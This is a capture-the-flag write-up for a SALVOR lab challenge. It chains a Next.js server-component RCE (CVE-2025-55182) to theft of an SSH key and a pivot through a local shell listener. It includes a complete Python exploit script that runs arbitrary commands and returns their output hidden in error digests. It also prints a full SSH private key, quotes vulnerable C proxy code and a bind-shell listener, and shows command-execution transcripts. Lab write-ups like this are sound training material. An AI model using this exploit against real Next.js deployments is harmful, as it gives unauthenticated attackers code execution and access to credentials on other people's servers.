Chapter 2 - Befer
Hi Senior Researcher,
SALVOR is a security-oriented learning environment designed for curious minds and aspiring security professionals. It provides a hands-on space to explore cybersecurity concepts, investigate realistic scenarios, and sharpen practical skills through interactive challenges.
Your task is to gain experience.
Stay curious!
The starting point for your SALVOR journey is http://intro.salvor.nren.tcc
Challenge Info¶
- Name: Befer (ˈBəfər / Buffer)
- Category: SALVOR (The Catch 2026)
- Target:
dsrepos-foothold.salvor.nren.tcc(10.99.26.23) - Open ports: 22 (SSH, OpenSSH 10.0p2 Debian), 3001 (unknown TCP)
- Flag format:
FLAG{xxxx-xxxx-xxxx-xxxx}
Infrastructure (SALVOR shared)¶
| Host | IP | Purpose |
|---|---|---|
| intro.salvor.nren.tcc | — | Static intro page |
| dsrepos.salvor.nren.tcc | 10.99.26.22 | Next.js 15.1.8 dataset search app |
| dsrepos-foothold.salvor.nren.tcc | 10.99.26.23 | SSH + mystery port 3001 |
| chat.salvor.nren.tcc | — | Flask chatbot (Prompt/Raggad challenges) |
| status.salvor.nren.tcc | — | Gatus status page |
Phase 1: Dead Ends — Direct Attack on Foothold¶
All of these failed. The foothold server doesn't give you anything without credentials from Act-er.
SSH Brute Force (failed)¶
Tried 20+ usernames x 11+ passwords via Python pexpect automation:
- Usernames: root, admin, deploy, dsrepos, user, ctf, salvor, befer, buffer, kevin, jane, karen, researcher, flag, foothold, dors, tlsproxy, etc.
- Passwords: admin, password, root, toor, salvor, befer, buffer, dsrepos, ctf2026, flag, LearnHowToOptimize (from ticket system DB)
- All rejected. SSH key auth with random ed25519 key also failed.
Port 3001 Probing (failed)¶
- Raw TCP: connections accepted then immediately closed
- HTTP requests (GET, POST, TRACE): no response, connection reset
- Binary payloads of various sizes: no response
- Reason discovered later: IP whitelist — only allows 127.0.0.1, ::1, and 10.99.26.22 (the nginx proxy)
Other Recon (failed)¶
- DNS enumeration: only A/AAAA records
- Port scanning: confirmed only 22 and 3001 open
- Cross-challenge credential reuse: none worked
- Image steganography on overflow.png from challenge page: nothing
Phase 2: Dead Ends — Attacking dsrepos Web App Directly¶
Before discovering the CVE, extensive manual testing on the dsrepos search API.
SQL Injection (failed)¶
- Single/double quotes, UNION SELECT, boolean-based, time-based
%and_wildcards work (LIKE query) but queries are parameterized- SQLite-specific payloads tested — no injection possible
Other Injection (failed)¶
- Template literal injection (
${}) - NoSQL injection
- Prototype pollution via JSON
- Path traversal in query
- SSRF attempts
$followed by a letter causes RSC serialization error (not exploitable, just protocol format)
Flag in Dataset Content (failed)¶
- Searched for "FLAG", "Flag", "flag", "FLAG{" in 130 datasets
- Examined all 130 dataset names and descriptions
- No hidden datasets, no encoded flags
Nginx Path Bypass (failed)¶
/includes/,/src/,/app/,/public/all return 308 redirects- URL encoding, double encoding, unicode normalization tricks — all blocked
Phase 3: Act-er Prerequisite — CVE-2025-55182 (React2Shell)¶
Key insight: Next.js 15.1.8 is vulnerable to CVE-2025-55182 (patched in 15.1.9). This is a pre-auth RCE via unsafe deserialization in the React Server Components Flight protocol.
The Vulnerability¶
The getOutlinedModel function resolves property paths from chunk references without hasOwnProperty checks. Colon-delimited paths like $1:__proto__:constructor:constructor traverse the prototype chain to reach the global Function constructor.
Exploit Payload¶
Multipart FormData with 3 fields:
- Field
0: Fake chunk object with: then→$1:__proto__:then(makes it a thenable via prototype)status→resolved_model(triggers model initialization)value→ JSON containing$B1337(Blob reference triggers_formData.get)_response._prefix→ JavaScript code to execute_response._formData.get→$1:constructor:constructor(Function constructor)_response._chunks→$Q2(Map reference)- Field
1:"$@0"— raw chunk reference creating circular dependency - Field
2:[]— empty array for Map
The _prefix field becomes the body of Function(prefix_code)(), achieving arbitrary code execution.
Output Exfiltration¶
Command output base64-encoded and thrown as error digest:
var res = process.mainModule.require('child_process')
.execSync('COMMAND', {timeout:10000}).toString('base64');
throw Object.assign(new Error('R2S'), {digest: 'OUT:'+res+':END'});
Extract from response body: 1:E{"digest":"OUT:<base64>:END"}
Exploit Script¶
#!/usr/bin/env python3
"""React2Shell exploit for dsrepos.salvor.nren.tcc (CVE-2025-55182)"""
import sys, re, base64, requests
TARGET = "http://dsrepos.salvor.nren.tcc/"
BOUNDARY = "----WebKitFormBoundaryR2S4CTF2026"
def build_payload(cmd):
escaped = cmd.replace('\\', '\\\\').replace("'", "'\\''")
prefix = (
"var res=process.mainModule.require('child_process').execSync('"
+ escaped
+ "',{timeout:10000}).toString('base64');"
"throw Object.assign(new Error('R2S'),{digest:'OUT:'+res+':END'});"
)
part0 = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"'
+ prefix
+ '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
)
body = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n"
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n"
f"--{BOUNDARY}--"
)
return body, f"multipart/form-data; boundary={BOUNDARY}"
def run_cmd(cmd):
body, ct = build_payload(cmd)
headers = {"Content-Type": ct, "Next-Action": "x"}
resp = requests.post(TARGET, headers=headers, data=body, timeout=15, allow_redirects=False)
m = re.search(r'OUT:([A-Za-z0-9+/=]+):END', resp.text)
if m:
return base64.b64decode(m.group(1)).decode('utf-8', errors='replace')
return f"[no output] status={resp.status_code}"
if __name__ == "__main__":
cmd = sys.argv[1] if len(sys.argv) > 1 else "id"
print(run_cmd(cmd))
Act-er Flag (prerequisite)¶
$ python3 r2s.py "env | grep FLAG"
FLAG=FLAG{2cgd-Jb3C-0Tib-Iol9}
Phase 4: Pivoting from RCE to Foothold SSH¶
With RCE on dsrepos (running as user dsrepos on 10.99.26.23), enumerated the container.
Key Discoveries¶
| Command | Finding |
|---|---|
cat /etc/hosts |
Container IP is 10.99.26.23 — same box as the foothold |
cat /etc/passwd |
Users with shells: root, tlsproxy, dsrepos, deploy, dors |
ls /var/lib/deploy/.ssh/ |
SSH private key: deploy, deploy.pub, authorized_keys |
ls /var/lib/dors/.ssh/ |
Only authorized_keys (different key, not the deploy key) |
ss -tlnp |
Ports: 22 (SSH), 3000 (Next.js localhost), 3001 (proxy all ifaces), 5556 (Python localhost) |
Deploy SSH Key¶
$ python3 r2s.py "cat /var/lib/deploy/.ssh/deploy"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCbyldQA+OByd4DggO16GJWs2os1zOb/jKiT9/bwpvAjQAAAJClxrxgpca8
YAAAAAtzc2gtZWQyNTUxOQAAACCbyldQA+OByd4DggO16GJWs2os1zOb/jKiT9/bwpvAjQ
AAAEDIQILeyzYzPoT+JvNhZ64pXFeiswaiCwrdUAf1xC3uIJvKV1AD44HJ3gOCA7XoYlaz
aizXM5v+MqJP39vCm8CNAAAAC2JvZGlrQGJvZGlrAQI=
-----END OPENSSH PRIVATE KEY-----
World-readable (0644), ed25519 key with comment bodik@bodik.
SSH into Foothold¶
chmod 600 deploy_key
ssh -i deploy_key deploy@dsrepos-foothold.salvor.nren.tcc
# uid=997(deploy) gid=997(deploy) groups=997(deploy)
Phase 5: Inside the Foothold — Finding the Flag¶
Process Map¶
| PID | User | Command | Purpose |
|---|---|---|---|
| 1 | root | supervisord | Process manager |
| 14 | root | /mrproper.py | Cleanup script (unreadable) |
| 16 | tlsproxy | /proxy/.build/proxy | TLS proxy on port 3001 |
| 17 | root | sshd | SSH server |
| 31 | dsrepos | next-server (v15.1.8) | Web app on localhost:3000 |
| 1960 | tlsproxy | python3 reverse shell | Listener on localhost:5556 |
Supervisor Config (the key)¶
[program:next]
command=env -i - PATH="..." FLAG="%(ENV_SALVOR_FLAG1)s" ...
user=dsrepos # Act-er flag
[program:proxy]
command=env -i - PATH="..." FLAG="%(ENV_SALVOR_FLAG2)s" /proxy/.build/proxy
user=tlsproxy # Befer flag
Two separate flags injected as environment variables via supervisor from SALVOR_FLAG1 and SALVOR_FLAG2.
The Proxy (port 3001)¶
Source at /proxy/proxy.c, compiled with gcc -g -O0 (debug, no optimization).
Contains two vulnerabilities:
1. Format string bug in TRACE handler:
void process_trace_request(int client_fd, char *buffer) {
// ...
int len = snprintf(response, BUFFER_SIZE, buffer); // buffer = user HTTP request!
send(client_fd, response, len, 0);
}
2. Stack buffer overflow in logging:
char logbuf[256]; // LOGBUF_SIZE = 256
// ...
req_line_len = memchr((void *)request, '\n', bytes_read) - (void *)request;
memcpy(logbuf + logbuf_len, request, req_line_len); // no bounds check!
IP whitelist (proxy-filter.conf):
127.0.0.1
::ffff:127.0.0.1
::1
10.99.26.22
::ffff:10.99.26.22
2001:db8:7cc::26:22
Only reachable from localhost or the nginx proxy — explains why external probing failed.
These are the "intended" exploitation path for the challenge name "Befer" (Buffer).
The Shortcut — Reverse Shell on Port 5556¶
The proxy spawns a Python reverse shell listener on 127.0.0.1:5556 running as tlsproxy:
import socket,os,subprocess
s=socket.socket()
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("127.0.0.1",5556))
s.listen(8)
while 1:
c,_=s.accept()
if os.fork()==0:
os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2)
subprocess.call(["/bin/sh","-i"])
os._exit(0)
c.close()
Reachable from the deploy SSH session:
$ echo 'env' | nc -w 2 127.0.0.1 5556
PATH=/usr/bin:/bin
PWD=/proxy
FLAG=FLAG{LWoM-kzkO-YFUf-XGpm}
Flag¶
FLAG{LWoM-kzkO-YFUf-XGpm}
Full Kill Chain¶
VPN
└─ dsrepos.salvor.nren.tcc (React2Shell RCE, CVE-2025-55182)
└─ Read /var/lib/deploy/.ssh/deploy (SSH private key)
└─ SSH deploy@dsrepos-foothold.salvor.nren.tcc
└─ nc 127.0.0.1 5556 (reverse shell as tlsproxy)
└─ echo $FLAG → FLAG{LWoM-kzkO-YFUf-XGpm}